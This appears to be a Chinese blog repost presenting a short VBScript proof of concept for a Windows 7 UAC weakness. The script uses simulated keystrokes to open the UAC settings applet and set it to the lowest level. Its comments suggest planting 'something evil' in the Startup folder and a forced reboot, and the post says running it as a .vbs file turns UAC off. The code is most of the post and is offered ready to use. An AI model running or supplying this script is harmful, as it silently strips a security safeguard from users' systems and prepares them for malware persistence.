admin 管理员组

文章数量: 887021

  前段时间被传得很利害的Windows 7 UAC漏洞,相信大家都已经了解了,下面这段脚本代码供大家观摩学习。

  '// 1337H4x Written by _____________

  '// (12 year old)

  Set WshShell = WScript.CreateObject("WScript.Shell")

  '// Toggle Start menu

  WshShell.SendKeys("^{ESC}")

  WScript.Sleep(500)

  '// Search for UAC applet

  WshShell.SendKeys("change uac")

  WScript.Sleep(2000)

  '// Open the applet (assuming second result)

  WshShell.SendKeys("{DOWN}")

  WshShell.SendKeys("{DOWN}")

  WshShell.SendKeys("{ENTER}")

  WScript.Sleep(2000)

  '// Set UAC level to lowest (assuming out-of-box Default setting)

  WshShell.SendKeys("{TAB}")

  WshShell.SendKeys("{DOWN}")

  WshShell.SendKeys("{DOWN}")

  WshShell.SendKeys("{DOWN}")

  '// Save our changes

  WshShell.SendKeys("{TAB}")

  WshShell.SendKeys("{ENTER}")

  '// TODO: Add code to handle installation of rebound

  '// process to continue exploitation, i.e. place something

  '// evil in Startup folder

  '// Reboot the system

  '// WshShell.Run "shutdown /r /f"

  这段脚本代码很好理解,只需要保存为.vbs,并且在win 7中运行,那么UAC就可以被关闭。

 

本文标签: 脚本 UAC